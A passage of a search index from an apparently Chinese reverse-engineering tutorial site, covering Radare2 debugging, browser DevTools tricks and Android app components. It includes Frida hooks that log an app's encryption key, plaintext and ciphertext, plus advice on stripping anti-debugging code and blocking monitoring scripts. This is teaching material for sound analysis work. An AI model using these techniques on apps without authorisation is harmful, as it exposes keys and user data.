0x00000b58 [DATA] adrp x1, 0x12000 # 查找当前地址引用了哪些目标（xrefs FROM） [0x00000bfc]\u003e axf 0x00000c04 [CALL] sym.imp.memcpy 0x00000c18 [CALL] sym.imp.free # 对某个字符串查找引用 [0x00000000]\u003e axt @ 0x00012340 fcn.00000b7c 0x00000b90 [DATA] adr x0, str.encrypt_key # 使用图形方式展示调用关系 [0x00000000]\u003e agc @ sym.JNI_OnLoad 交叉引用在 Android 逆向中的典型应用场景： 定位某个加密字符串被哪些函数使用 追踪 RegisterNatives 的调用来找到动态注册的 JNI 函数 从一个 log 字符串反向追踪到使用它的函数逻辑 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:9:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#交叉引用分析"},{"categories":null,"collections":null,"content":"调试功能 Radare2 内置了功能完整的调试器，支持本地调试和远程调试。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:10:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#调试功能"},{"categories":null,"collections":null,"content":"启动调试会话 # 直接调试本地可执行文件 r2 -d /path/to/binary # 附加到正在运行的进程 r2 -d pid # 远程调试（通过 gdb 协议） r2 -d gdb://192.168.1.100:1234 # Android 远程调试（需要在设备上运行 r2 agent） r2 -d gdb://localhost:23456 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:10:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#启动调试会话"},{"categories":null,"collections":null,"content":"断点管理 # 在地址上设置断点 [0x00000000]\u003e db 0x00000abc # 在函数名上设置断点 [0x00000000]\u003e db sym.JNI_OnLoad # 设置条件断点（当 x0 == 1 时触发） [0x00000000]\u003e dbc 0x00000abc x0==1 # 列出所有断点 [0x00000000]\u003e dbl 0x00000abc - enabled 0x00000b3c - enabled # 删除断点 [0x00000000]\u003e db- 0x00000abc # 启用/禁用断点 [0x00000000]\u003e dbe 0x00000abc # enable [0x00000000]\u003e dbd 0x00000abc # disable # 设置硬件断点（对特定平台有效） [0x00000000]\u003e dbH 0x00000abc ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:10:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#断点管理"},{"categories":null,"collections":null,"content":"执行控制 # 继续执行 [0x00000000]\u003e dc # 单步步入（进入函数调用） [0x00000abc]\u003e ds # 单步步过（跳过函数调用） [0x00000abc]\u003e dso # 执行到返回（跳出当前函数） [0x00000abc]\u003e dcr # 执行到指定地址 [0x00000abc]\u003e dcu 0x00000b00 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:10:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#执行控制"},{"categories":null,"collections":null,"content":"寄存器与内存检查 # 显示所有寄存器 [0x00000abc]\u003e dr x0 = 0x00007fff5a3b4c00 x1 = 0x0000000000000042 x2 = 0x00007fff5a3b5000 ... pc = 0x0000000000000abc sp = 0x00007fff5a3b4bf0 # 修改寄存器值 [0x00000abc]\u003e dr x0=0x1234 # 查看调用栈 [0x00000abc]\u003e dbt 0 0x00000abc sp: 0x7fff5a3b4bf0 sym.encrypt_data 1 0x00000b60 sp: 0x7fff5a3b4c10 sym.JNI_OnLoad 2 0x7a3b610c sp: 0x7fff5a3b4c30 libart.so # 查看内存映射 [0x00000abc]\u003e dm 0x0000000000000000 - 0x000000000001e000 r-x libnative-lib.so 0x000000000001e000 - 0x0000000000020000 rw- libnative-lib.so 0x00007a3b5e0000 - 0x00007a3b7e0000 r-x libart.so ... # 读取指定地址的内存 [0x00000abc]\u003e px 32 @ x0 # 读取 x0 指向的 32 字节 [0x00000abc]\u003e ps @ x0 # 将 x0 指向的地址作为字符串打印 # 向内存写入数据 [0x00000abc]\u003e wx 90909090 @ 0x00000abc # 写入字节 [0x00000abc]\u003e w Hello @ 0x00001000 # 写入字符串 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:10:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#寄存器与内存检查"},{"categories":null,"collections":null,"content":"跟踪与记录 # 跟踪函数调用 [0x00000000]\u003e e dbg.trace=true [0x00000000]\u003e dc # 查看执行轨迹 [0x00000000]\u003e dbt # 跟踪指定范围的指令执行 [0x00000000]\u003e dte ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:10:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#跟踪与记录"},{"categories":null,"collections":null,"content":"Cutter GUI 对于不习惯纯命令行的用户，社区开发了 Cutter。Cutter 是一个基于 Qt/C++ 的图形用户界面，后端由 Radare2 驱动。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:11:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#cutter-gui"},{"categories":null,"collections":null,"content":"安装 # macOS brew install --cask cutter # 或从 GitHub Releases 下载预编译包 # https://github.com/rizinorg/cutter/releases 注意：Cutter 目前已经迁移到 Rizin（Radare2 的一个分支）作为后端。但其核心概念和使用方式与 Radare2 高度一致。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:11:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#安装-1"},{"categories":null,"collections":null,"content":"主要特点 提供了类似 IDA Pro 和 Ghidra 的图形化界面 包括反汇编窗口、反编译窗口（集成了 Ghidra Decompiler）、函数列表、Hexdump 等 所有在 Cutter 中进行的操作，实际上都是在后台调用 Radare2/Rizin 的命令完成的 对于初学者来说，从 Cutter 入手可以极大地降低学习 Radare2 的门槛 内置终端面板可以直接输入 r2 命令，方便从 GUI 过渡到命令行 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:11:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#主要特点"},{"categories":null,"collections":null,"content":"典型工作流 用 Cutter 打开 APK 中提取的 .so 文件 在左侧函数列表中查找 JNI 函数 在反汇编视图中查看控制流图 切换到反编译视图获得伪代码 使用搜索功能查找感兴趣的字符串 在内置终端中运行高级 r2 命令 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:11:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#典型工作流"},{"categories":null,"collections":null,"content":"Cutter vs. 纯命令行 r2 场景 推荐工具 初次浏览未知二进制 Cutter 需要查看控制流图 Cutter 需要反编译伪代码 Cutter 批量/自动化分析 命令行 r2 远程 SSH 环境 命令行 r2 与 Frida 联动 命令行 r2 需要精细的搜索与过滤 命令行 r2 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:11:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#cutter-vs-纯命令行-r2"},{"categories":null,"collections":null,"content":"优缺点分析 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:12:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#优缺点分析"},{"categories":null,"collections":null,"content":"优点 优点 说明 无与伦比的脚本化能力 设计哲学使其成为自动化逆向分析的理想选择 极高的灵活性和定制性 你可以按照自己的需求组合命令，构建工作流 轻量与快速 核心程序非常小，运行速度快，资源占用少，适合嵌入式和服务器环境 海量架构支持 对各种奇异架构的支持是其一大特色，覆盖几乎所有 CPU 架构 完全免费开源 无任何费用，社区可以审查和贡献代码 命令行原生 在 SSH、Docker、CI/CD 环境中可以无障碍使用 r2frida 生态 与 Frida 的深度集成提供了独特的静态+动态分析能力 活跃的社区 开发活跃，经常更新，社区贡献丰富的插件和工具 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:12:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#优点"},{"categories":null,"collections":null,"content":"缺点 缺点 说明 陡峭的学习曲线 命令繁多，语法特殊，对新手非常不友好，需要大量练习 文档相对混乱 虽然有帮助系统，但官方文档的结构性和完整性不如商业软件 默认反编译器质量一般 内置的反编译器质量不如 Ghidra 或 Hex-Rays，但可以通过插件集成 Ghidra Decompiler 交互式分析体验 纯命令行的交互式分析体验不如 IDA Pro 直观，复杂分析时效率可能较低 API 稳定性 因为开发活跃，命令和 API 偶尔会有不兼容的变更 错误提示不够友好 输入错误命令时，提示信息有时不够清晰，增加了排错成本 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:12:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#缺点"},{"categories":null,"collections":null,"content":"适用场景总结 Radare2 最适合以下场景： 自动化批量分析：需要脚本化处理大量二进制文件时，r2 + r2pipe 是最佳选择 嵌入式/IoT 逆向：面对小众架构时，r2 的广泛架构支持无可替代 服务器端分析：在无 GUI 的远程服务器上，r2 是唯一可用的全功能选择 CTF 竞赛：快速的命令行操作和强大的搜索能力在 CTF 中极为实用 与 Frida 联动：r2frida 提供了其他工具无法比拟的动静态联合分析体验 Android SO 分析：结合脚本化能力，可以高效批量处理 APK 中的原生库 对于日常的交互式逆向分析，如果你更习惯图形界面，可以考虑将 Radare2/Cutter 与 Ghidra/IDA Pro 搭配使用，取长补短。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:12:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#适用场景总结"},{"categories":null,"collections":null,"content":"浏览器开发者工具 (DevTools) ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:0:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#浏览器开发者工具-devtools"},{"categories":null,"collections":null,"content":"思考时刻 在深入学习 DevTools 之前，先思考： 你真的会用 F12 吗？ 除了看 HTML 和 Network，你还用过哪些功能？ 断点调试的本质是什么？ 为什么说\"会打断点的人，才算会调试\"？ 动态 vs 静态： 为什么说\"动态调试比静态分析更有效\"？ 实战场景： 一个按钮点击后，发送了加密请求，你无法从代码里搜到请求 URL（因为是动态生成的）。你会如何定位到生成加密参数的代码？ 掌握 DevTools，就是掌握了逆向的主动权。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:1:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#思考时刻"},{"categories":null,"collections":null,"content":"概述 DevTools 是逆向工程师最顺手的兵器。除了基础的查看元素和发包,通过掌握一些高级调试技巧（Conditional Breakpoints, Local Overrides, Custom Snippets），我们可以大幅提升逆向效率。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:2:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#概述"},{"categories":null,"collections":null,"content":"1. Elements 面板 除了查看 DOM 结构，逆向中常用： ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:3:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#1-elements-面板"},{"categories":null,"collections":null,"content":"DOM 断点 (DOM Breakpoints) 当不知道是谁修改了某个 DOM 元素（例如生成了验证码图片，或者插入了加密的 Token 输入框）时，使用它。 Subtree modifications: 监听子节点变化。 Attribute modifications: 监听属性变化（如 class, src, value）。 Node removal: 监听节点被删除。 技巧: 断下后，查看 Call Stack (调用栈)，通常能直接定位到操作 DOM 的 JS 代码。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:3:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#dom-断点-dom-breakpoints"},{"categories":null,"collections":null,"content":"2. Console 面板 不仅仅是打印日志。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:4:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#2-console-面板"},{"categories":null,"collections":null,"content":"实用指令 (Console API) debug(fn): 当指定函数 fn 被调用时，自动断点。 monitor(fn): 当 fn 被调用时，自动 Log 输出参数。 queryObjects(Constructor): 强力工具。查找所有该构造函数的实例。 例如：queryObjects(WebSocket) 可以列出当前页面所有的 WebSocket 连接对象。 getEventListeners(node): 获取 DOM 节点绑定的所有事件监听器。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:4:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#实用指令-console-api"},{"categories":null,"collections":null,"content":"当前上下文 (Context) Console 左上角可以选择 Execution Context。如果网页使用了 iframe 或者 Web Worker，记得切换上下文，否则访问不到里面的变量。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:4:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#当前上下文-context"},{"categories":null,"collections":null,"content":"3. Sources 面板 调试的核心战场。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:5:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#3-sources-面板"},{"categories":null,"collections":null,"content":"XHR/Fetch Breakpoints 在右侧面板勾选 “XHR/fetch breakpoints”，输入 URL 关键词（如 /login, sign）。 当发生包含该关键词的网络请求时，会在 send() 或 fetch() 调用处断下。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:5:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#xhrfetch-breakpoints"},{"categories":null,"collections":null,"content":"Event Listener Breakpoints 不想手动找 DOM 绑定事件？直接勾选 Mouse -\u003e click 或 Keyboard -\u003e keydown。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:5:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#event-listener-breakpoints"},{"categories":null,"collections":null,"content":"Snippets (代码片段) 在 “Snippets” 标签页可以保存常用的 Hook 脚本。 优点: 跨页面通用，通过 Ctrl+Enter 快速执行。 场景: 注入通用的 Cookie Hook, Debugger Bypass 脚本。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:5:3","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#snippets-代码片段"},{"categories":null,"collections":null,"content":"Local Overrides (本地替换) 逆向神器。允许你修改线上的 JS 文件并在本地保存，刷新页面后依然生效。 除了 “Overrides” 标签页，选择一个本地文件夹。 在 “Network” 或 “Sources” 面板找到 JS 文件，右键 -\u003e “Save for overrides”。 直接编辑代码，Ctrl+S 保存。 用途: 删除混淆代码中的反调试逻辑、注入 Log 代码、修改加密函数的返回值。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:5:4","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#local-overrides-本地替换"},{"categories":null,"collections":null,"content":"4. Network 面板 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:6:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#4-network-面板"},{"categories":null,"collections":null,"content":"Initiator (发起者) 在请求列表中，鼠标悬停在 “Initiator” 列。 它会显示这就请求的调用栈链。点击蓝色的文件名，直接跳转到发包的 JS 代码。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:6:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#initiator-发起者"},{"categories":null,"collections":null,"content":"Replay XHR (重放) 右键请求 -\u003e “Replay XHR”。快速重发请求，用于测试签名的时效性。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:6:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#replay-xhr-重放"},{"categories":null,"collections":null,"content":"Block Request URL (屏蔽请求) 右键请求 -\u003e “Block Request URL”。 用途: 屏蔽某些第三方的监控脚本、广告脚本，或者屏蔽加载 Wasm 文件以强制降级到 JS 版本（如果网站有降级逻辑）。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:6:3","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#block-request-url-屏蔽请求"},{"categories":null,"collections":null,"content":"5. Application 面板 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:7:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#5-application-面板"},{"categories":null,"collections":null,"content":"Storage 直接查看和修改 LocalStorage, SessionStorage, Cookies, IndexedDB。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:7:1","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#storage"},{"categories":null,"collections":null,"content":"Service Workers 有些网站使用 SW 来拦截请求或做缓存。如果调试时发现 Network 面板行为怪异（如请求直接从 ServiceWorker 返回），可以在 “Service Workers” 标签页勾选 “Bypass for network” 或直接 “Unregister”。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:7:2","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#service-workers"},{"categories":null,"collections":null,"content":"总结 熟练使用 DevTools 的高级功能，可以让你在没有源码的情况下，快速切入业务逻辑的核心。 找不到入口？用 Event Listener / XHR Breakpoints。 找到了混淆代码想改？用 Local Overrides。 想找隐藏的对象？用 Console queryObjects。 ","date":"2024-06-27","objectID":"/reverse_engineering/web/02-tooling/browser_devtools/:8:0","tags":["Web","签名验证","WebAssembly","加密分析","Hook","抓包"],"title":"浏览器开发者工具 (DevTools)","uri":"/reverse_engineering/web/02-tooling/browser_devtools/#总结"},{"categories":null,"collections":null,"content":"Android 四大组件 Android 的应用框架核心由四个基本组件构成。每个组件都是一个独立的实体，系统和应用可以通过它进入你的 App。理解这四个组件的职责和生命周期是进行任何 Android 开发或逆向分析的基础。 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:0:0","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#android-四大组件"},{"categories":null,"collections":null,"content":"1. 四大组件概述 ┌───────────────────────── Android 应用架构 ─────────────────────────┐ │ │ │ ┌──────────────────────────────────────────────────────────────┐ │ │ │ Application (全局入口) │ │ │ │ attachBaseContext() → onCreate() │ │ │ └──────────────────────┬───────────────────────────────────────┘ │ │ │ │ │ ┌───────────────────┼───────────────────┐ │ │ ▼ ▼ ▼ │ │ ┌────────┐ ┌───────────┐ ┌──────────────┐ │ │ │Activity│ │ Service │ │BroadcastRecvr│ │ │ │ (前台) │ │ (后台) │ │ (事件) │ │ │ └───┬────┘ └─────┬─────┘ └──────┬───────┘ │ │ └─────────────────┼────────────────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ ContentProvider │ │ │ │ (数据层) │ │ │ └──────────────────┘ │ └────────────────────────────────────────────────────────────────────┘ 组件 逆向价值 典型场景 Activity 用户可见的界面逻辑，登录/支付等关键流程 协议分析、界面逻辑还原 Service 后台核心业务，加密/通信/数据处理 推送协议、数据同步逻辑 BroadcastReceiver 事件触发机制，开机自启、指令下发 恶意软件分析、远控触发 ContentProvider 数据存储与共享接口 数据泄露检测、SQL注入 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:1:0","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#1-四大组件概述"},{"categories":null,"collections":null,"content":"2. Activity 生命周期与逆向 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:2:0","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#2-activity-生命周期与逆向"},{"categories":null,"collections":null,"content":"2.1 生命周期图 ┌─────────────────┐ │ onCreate() │ ◄── 布局加载、数据初始化 └────────┬────────┘ setContentView(), findViewById() ▼ ┌─────────────────┐ │ onStart() │ ◄── Activity 可见但不可交互 └────────┬────────┘ ▼ ┌─────────────────┐ │ onResume() │ ◄── 到达前台，可以交互 └────────┬────────┘ ▼ ┌─────────────────┐ │ [运行状态] │ └────────┬────────┘ ┌────────────┴────────────┐ ▼ ▼ ┌─────────────┐ ┌──────────────┐ │ onPause() │ │ onStop() │ ◄── 完全不可见 └──────┬──────┘ └──────┬───────┘ │ ┌─────┴─────┐ │ ▼ ▼ │ ┌────────────┐ ┌────────────┐ │ │ onRestart()│ │ onDestroy()│ │ └──────┬─────┘ └────────────┘ └─────────────────┘ ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:2:1","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#21-生命周期图"},{"categories":null,"collections":null,"content":"2.2 生命周期与 Hook 时机 生命周期方法 Hook 价值 典型用途 onCreate() 极高 捕获初始化参数、加密密钥生成、布局加载 onResume() 高 捕获页面激活时的刷新逻辑、Token 校验 onPause() 中 分析数据持久化逻辑、会话保存 onActivityResult() 高 捕获跨 Activity 的数据回传（如支付结果） onNewIntent() 中 singleTop/singleTask 模式下的 Intent 更新 Frida Hook Activity 生命周期: Java.perform(function() { var LoginActivity = Java.use(\"com.example.app.LoginActivity\"); LoginActivity.onCreate.overload(\"android.os.Bundle\").implementation = function(bundle) { console.log(\"[*] LoginActivity.onCreate() called\"); var intent = this.getIntent(); var extras = intent.getExtras(); if (extras != null) { var keys = extras.keySet().iterator(); while (keys.hasNext()) { var key = keys.next(); console.log(\"[*] Extra: \" + key + \" = \" + extras.get(key)); } } this.onCreate(bundle); }; }); ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:2:2","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#22-生命周期与-hook-时机"},{"categories":null,"collections":null,"content":"2.3 快速定位当前 Activity # 查看当前前台 Activity adb shell dumpsys activity top | grep ACTIVITY # 监控 Activity 启动（实时） adb shell am monitor # 启动指定 Activity（带参数） adb shell am start -n com.example.app/.DeepLinkActivity \\ -a android.intent.action.VIEW \\ -d \"myapp://payment?orderId=12345\" ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:2:3","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#23-快速定位当前-activity"},{"categories":null,"collections":null,"content":"2.4 混淆代码中的定位技巧 Activity 类名不会被混淆（Manifest 中声明），但内部方法和字段会。定位策略： 从 Manifest 找到 Activity 类名（明文） 分析 onCreate() 中的 setContentView(R.layout.xxx) 找到布局 ID 通过布局 XML 中的控件 ID 反向追踪 findViewById() 调用 从控件的事件监听器切入，追踪业务逻辑 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:2:4","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#24-混淆代码中的定位技巧"},{"categories":null,"collections":null,"content":"3. Service 分析 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:3:0","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#3-service-分析"},{"categories":null,"collections":null,"content":"3.1 Service 类型 启动服务 (Started): startService() → onStartCommand() → [后台运行] → stopSelf() 绑定服务 (Bound): bindService() → onBind() → [Binder 交互] → onUnbind() 前台服务 (Foreground): startForegroundService() → startForeground(id, notification) ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:3:1","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#31-service-类型"},{"categories":null,"collections":null,"content":"3.2 Service 中常见的逆向目标 public class CryptoService extends Service { private SecretKey aesKey; @Override public void onCreate() { super.onCreate(); // 逆向关键点 1: 密钥初始化 aesKey = generateKey(\"hardcoded_seed_123\"); } @Override public int onStartCommand(Intent intent, int flags, int startId) { if (\"ENCRYPT_AND_SEND\".equals(intent.getAction())) { // 逆向关键点 2: 数据加密流程 byte[] plainData = intent.getByteArrayExtra(\"data\"); byte[] encrypted = encrypt(aesKey, plainData); sendToServer(encrypted); } return START_STICKY; // 被杀后自动重启 } @Override public IBinder onBind(Intent intent) { // 逆向关键点 3: 暴露给其他组件的接口 return new CryptoBinder(); } public class CryptoBinder extends Binder { public byte[] encryptData(byte[] data) { return encrypt(aesKey, data); } public byte[] decryptData(byte[] data) { return decrypt(aesKey, data); } } } ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:3:2","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#32-service-中常见的逆向目标"},{"categories":null,"collections":null,"content":"3.3 Hook Service 关键方法 Java.perform(function() { var CryptoService = Java.use(\"com.example.app.CryptoService\"); CryptoService.onStartCommand.implementation = function(intent, flags, startId) { console.log(\"[*] CryptoService.onStartCommand()\"); console.log(\"[*] Action: \" + intent.getAction()); return this.onStartCommand(intent, flags, startId); }; // Hook 加密方法直接获取密钥和明文/密文 CryptoService.encrypt.implementation = function(key, data) { console.log(\"[*] 密钥: \" + key.toString()); console.log(\"[*] 明文: \" + bytesToHex(data)); var result = this.encrypt(key, data); console.log(\"[*] 密文: \" + bytesToHex(result)); return result; }; }); # 列出运行中的 Service adb shell dumpsys activity services com.example.app ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:3:3","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#33-hook-service-关键方法"},{"categories":null,"collections":null,"content":"4. BroadcastReceiver 分析 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:4:0","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#4-broadcastreceiver-分析"},{"categories":null,"collections":null,"content":"4.1 静态注册与动态注册 静态注册 – AndroidManifest.xml 中声明，App 未运行也能响应： \u003creceiver android:name=\".receiver.BootReceiver\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction 